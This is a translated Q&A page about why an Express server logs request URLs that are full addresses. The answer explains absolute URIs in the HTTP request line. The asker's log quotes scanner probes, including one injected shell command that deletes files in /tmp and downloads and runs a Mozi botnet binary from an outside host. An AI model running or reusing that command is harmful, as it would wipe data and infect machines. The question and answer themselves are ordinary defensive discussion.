expressjs req.url 路径如何成为另一个url?

Posted

技术标签:

【中文标题】expressjs req.url 路径如何成为另一个url?【英文标题】:How can expressjs req.url path be another url? 【发布时间】:2021-10-30 05:50:42 【问题描述】:

我最近发现有人向我的 node-express 服务器发出了可疑请求。所以我写了一个中间件来记录请求的 url。确实记录了很多以“/”开头的可疑请求路径,但有些路径实际上是另一个 url。这怎么可能在快速请求中? 我试图对此进行搜索,但没有找到任何东西。这些请求是否会损害节点服务器的安全性。 (例如 req.url 显示为 http://icanhazip.com/ )

我的 log.txt 文件

/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/  <-- how is this possible in express request ?

用于记录请求的代码

app.use((req,res,next) => 
    var isvalid = true;

    //some validation code here

    if(!isvalid)
        fs.appendFileSync("./log.txt", "\r\n"+ req.url);
        res.send("...");
     else next();
);

【问题讨论】:

【参考方案1】:

这在快速请求中怎么可能?

一个非常基本的 HTTP 请求如下所示:

GET /your/path HTTP/1.1

而且任何普通客户都会在此处设置合理的路径。

如果您正在编写自己的客户端,或者手动构建请求(例如,通过键入连接到 HTTP 端口的 telnet 客户端),那么您可以在那里编写任何您喜欢的内容:

GET http://example.com/ HTTP/1.1

这些请求是否会危及节点服务器的安全性。

一般不会。他们正在寻找可以利用的安全漏洞。不要对用户输入做不安全的事情,并及时更新您所依赖的模块的安全补丁,这样就可以了。

【讨论】:

哇。谢谢昆汀的解释。我能够用 openssl 重现它。

以上是关于expressjs req.url 路径如何成为另一个url?的主要内容,如果未能解决你的问题,请参考以下文章

如何在 ExpressJS 和 multer 中将数据从一个路由器传递到另一个路由器?

nodejsDay2

如何使用 expressjs 在 React 中上传图像

Node ExpressJs server的路径设置

如何为 ExpressJS 呈现的布局配置路径

http-url 发送请求